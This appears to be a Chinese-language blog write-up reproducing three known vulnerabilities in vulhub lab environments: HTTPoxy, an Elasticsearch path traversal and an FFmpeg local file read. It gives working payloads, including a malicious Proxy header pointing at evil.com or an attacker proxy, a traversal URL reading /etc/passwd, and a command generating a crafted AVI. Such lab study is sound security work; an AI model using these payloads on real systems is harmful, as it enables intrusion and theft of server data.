Ywc's blog

vulhub漏洞复现

Word count: 772Reading time: 3 min
2018/11/15

HTTPoxy漏洞(CVE-2016-5385)

原理

参考:http://www.laruence.com/2016/07/19/3101.html

简单来说,根据RFC 3875规定,cgi(fastcgi)要将用户传入的所有HTTP头都加上HTTP_前缀放入环境变量中,而恰好大多数类库约定俗成会提取环境变量中的HTTP_PROXY值作为HTTP代理地址。于是,恶意用户通过提交Proxy: http://evil.com这样的HTTP头,将使用缺陷类库的网站的代理设置为http://evil.com,进而窃取数据包中可能存在的敏感信息。

PHP5.6.24版本修复了该漏洞,不会再将Proxy放入环境变量中。本环境使用PHP 5.6.23为例。

当然,该漏洞不止影响PHP,所有以CGI或Fastcgi运行的程序理论上都受到影响。

测试流程

正常请求http://your-ip/index.php,可见其Origin为当前请求的服务器,二者IP相等:

vulhub漏洞复现

在其他地方找到一个可以正常运行的http代理,如http://x.x.122.65:8888/

附带Proxy: http://x.x.122.65:8888/头,再次访问http://your-ip/index.php

vulhub漏洞复现

如上图,可见此时的Origin已经变成x.x.122.65,也就是说真正进行HTTP访问的服务器是x.x.122.65,也就是说x.x.122.65已经将正常的HTTP请求代理了。

x.x.122.65上使用NC,就可以捕获当前请求的数据包,其中可能包含敏感数据:

vulhub漏洞复现

ElasticSearch 目录穿越漏洞(CVE-2015-3337)

参考文章1
文章2

利用方式

读服务器上文件:burpsuite的repeater中访问url:

http://your-ip:9200/_plugin/head/../../../../../../../../../etc/passwd

vulhub漏洞复现

原理

在安装了具有“site”功能的插件以后,插件目录使用../即可向上跳转,导致目录穿越漏洞,可读取任意文件。没有安装任意插件的elasticsearch不受影响。

FFmpeg 文件读取漏洞(CVE-2017-9993)

漏洞信息

FFmpeg是一个完整的跨平台解决方案,用于记录、转换流式传输音频和视频,可用于预览生成和视频转换的视频编码软件。已知FFmpeg可以处理可能包含对外部文件的引用的HLS播放列表,可以使用AVI文件中的GAB2字幕块来触发此功能,再通过XBIN编解码器检索转换节点的本地文件,从而导致了可以在转码后的视频里包含了本地文件.

影响范围

小于 2.8.12, 3.0.x 以及 3.1.x 版本小于 3.1.9, 3.2.x 小于 3.2.6, 以及 3.3.x 版本小于 3.3.2

POC

脚本地址:https://github.com/neex/ffmpeg-avi-m3u-xbin

以读取 /etc/passwd 为例:

1.生成特殊的视频文件

$ python3 gen_xbin_avi.py file:///etc/passwd passwd.avi

2.上传 passwd.avi 到目标,即可看到如下结果:

vulhub漏洞复现

相关文章

FFmpeg安全问题讨论

ffmpeg SSRF漏洞分析

CATALOG
  1. 1. HTTPoxy漏洞(CVE-2016-5385)
    1. 1.1. 原理
    2. 1.2. 测试流程
  2. 2. ElasticSearch 目录穿越漏洞(CVE-2015-3337)
    1. 2.1. 利用方式
    2. 2.2. 原理
  3. 3. FFmpeg 文件读取漏洞(CVE-2017-9993)
    1. 3.1. 漏洞信息
    2. 3.2. 影响范围
    3. 3.3. POC
    4. 3.4. 相关文章